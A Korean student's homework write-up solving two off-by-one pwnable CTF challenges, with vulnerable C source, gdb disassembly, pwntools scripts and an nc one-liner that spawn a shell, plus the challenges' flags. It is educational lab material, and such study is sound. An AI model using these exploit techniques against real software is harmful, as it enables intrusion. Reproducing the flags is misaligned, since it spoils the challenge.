포너블 6주차 과제
필요 개념
strcpy 함수란?
문자열을 복사하는 함수
헤더파일: <string.h>
함수원형: char*strcpy(char* dest, const char* origin);
간단한 사용법
char orgin[] = "Apple"
char dest[100];
strcpy(dest, orgin);
=> orgin에 있는 문자열 전체를 dest로 복사함
strcpy 함수 사용시 주의할 점
strcpy는 문자열 끝(='\0') 까지 복사 ->char*, char[] 타입의 문자열 끝에 있는 '\0'을 복사하는 것
->이 특성을 이용하는 공격방식이 off by one 이다.
leave명령
mov esp, ebp
pop ebp
인스터럭션이 leave로 통합되어있다.
ebp는 esp로 옮겨질것이다. 그리고 ebp는 pop될것이다.
아래는 off by one 공격 예시다
1번에서 사용되는 개념과 비슷하다
https://s0ngsari.tistory.com/entry/Offbyone
Off-by-one
Off-by-one 다음 코드를 보자 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include int overflow(char *x) { char buf[1024]; strcpy(buf,x); printf("%s\r\n",buf); } int main(int argc,char *argv[]..
s0ngsari.tistory.com
https://blockdmask.tistory.com/348
[C언어/C++] strcpy, strncpy 함수(문자열 복사)에 대해서
안녕하세요. BlockDMask 입니다. 오늘은 C 스타일의 문자열인 char*, char[] 타입의 문자열을 복사하는 함수 두가지에 대해서 알아 볼 것 입니다. 두 함수는 바로 strcpy, strncpy 입니다. 이 두함수가 무슨 �
blockdmask.tistory.com
1. off_by_one_000
<본문 코드>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char cp_name[256];
void get_shell()
{
system("/bin/sh");
}
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int cpy()
{
char real_name[256];
strcpy(real_name, cp_name); // 공격할 부분
return 0;
}
int main()
{
initialize();
printf("Name: ");
read(0, cp_name, sizeof(cp_name));
cpy();
printf("Name: %s", cp_name);
return 0;
}
<gdb-peda를 이용한 분석>
disas main 입력
Dump of assembler code for function main:
0x08048670 <+0>: push ebp
0x08048671 <+1>: mov ebp,esp
0x08048673 <+3>: call 0x8048605 <initialize>
0x08048678 <+8>: push 0x8048751
0x0804867d <+13>: call 0x8048440 <printf@plt>
0x08048682 <+18>: add esp,0x4
0x08048685 <+21>: push 0x100
0x0804868a <+26>: push 0x804a060
0x0804868f <+31>: push 0x0
0x08048691 <+33>: call 0x8048430 <read@plt>
0x08048696 <+38>: add esp,0xc
0x08048699 <+41>: call 0x804864c <cpy>
0x0804869e <+46>: push 0x804a060
0x080486a3 <+51>: push 0x8048758
0x080486a8 <+56>: call 0x8048440 <printf@plt>
0x080486ad <+61>: add esp,0x8
0x080486b0 <+64>: mov eax,0x0
0x080486b5 <+69>: leave
0x080486b6 <+70>: ret
End of assembler dump.
disas cpy 입력
Dump of assembler code for function cpy:
0x0804864c <+0>: push ebp
0x0804864d <+1>: mov ebp,esp
0x0804864f <+3>: sub esp,0x100
0x08048655 <+9>: push 0x804a060
0x0804865a <+14>: lea eax,[ebp-0x100]
0x08048660 <+20>: push eax
0x08048661 <+21>: call 0x8048470 <strcpy@plt>
0x08048666 <+26>: add esp,0x8
0x08048669 <+29>: mov eax,0x0
0x0804866e <+34>: leave
0x0804866f <+35>: ret
End of assembler dump.
호출을 하고나서 리턴이 되기전에 ebp는 돌아가기 위해 주소를 가지고 있다. 하지만 이 주소를 바꿔 ret 명령을 실행하면 esp는 조작된 값으로 변경될 것이다.
b*0x804864c를 입력해 브레이크포인트를 걸어줌
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa (a 256번) 입력
ni로 leave 값까지 진행
EBP: 0xffffd230 --> 0xffffd200 ('a' <repeats 48 times>)
ESP: 0xffffd130
x/x 0xffffd200
0xffffd200: 0x61616161 =>aaaa
한 번더 ni을 실행시키면
EBP:0xffffd200 ('a' <repeats 48 times>)
ESP: 0xffffd234 --> 0x804869e (<main+46>: push 0x804a060)
ebp값에 aaaa문자열이 들어간 것을 확인할 수 있다.
buf(256) + sfp(4) +ret 의 sfp부분에 aaaa가 들어간 것이다.
이제 aaaa대신에 get_shell의 주소를 입력넣어주면 된다.
disas get_shell 입력
Dump of assembler code for function get_shell:
0x080485db <+0>: push ebp
0x080485dc <+1>: mov ebp,esp
0x080485de <+3>: push 0x8048740
0x080485e3 <+8>: call 0x8048490 <system@plt>
0x080485e8 <+13>: add esp,0x4
0x080485eb <+16>: nop
0x080485ec <+17>: leave
0x080485ed <+18>: ret
End of assembler dump.
from pwn import*
p = remote ("[주소]", [port 번호])
get_shell = 0x80485db
payload = p32(get_shell)*64 ->의미: (4)*64=256
p.sendline(payload)
p.interactive()
cat flag를 입력하면 답을 얻을 수 있음
DH{fef043d0dbe030d01756c23b78a660ae}
해결!!
해설 보니깐 1byte overflow라고 설명하고 있어서 찾아봤다.
SFP Overflow
SFP Overflow란? 이번 글에서는 SFP(Stack Frame Pointer) Overflow, FPO(Frame Pointer Overwrite), 1 Byte Overflow라고도 불리는 공격 기법을 알아볼 것이다. SFP Overflow는 단 한 바이트 만으로 IP(Instructi..
d4m0n.tistory.com
2. off_by_one_001
<본문 코드>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_str(char *ptr, int size)
{
int len;
len = read(0, ptr, size);
printf("%d", len);
ptr[len] = '\0';
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char name[20];
int age = 1;
initialize();
printf("Name: ");
read_str(name, 20);
printf("Are you baby?");
if (age == 0)
{
get_shell();
}
else
{
printf("Ok, chance: \n");
read(0, name, 20);
}
return 0;
}
a를 20번 입력하면 read_str() 함수에서 문자열 마지막에 '\0'를 삽입하는 과정에서 ptr 배열의 마지막 인자가 아닌 +1의 위치에 '\0'을 삽입
따라서 main 함수 내 변수 age의 값이 0으로 바뀜 -> get_shell() 실행
sol1) nc 사용
(python -c 'print "a"*20' ; cat) | nc [주소] [PORT 번호]
sol2)
from pwn import*
p = remote ("[주소]", [port 번호])
payload='a'*20
p.recvuntil(": ")
p.sendline(payload)
p.interactive()
cat flag입력
DH{343bab3ef81db6f26ee5f1362942cd79}
해결!!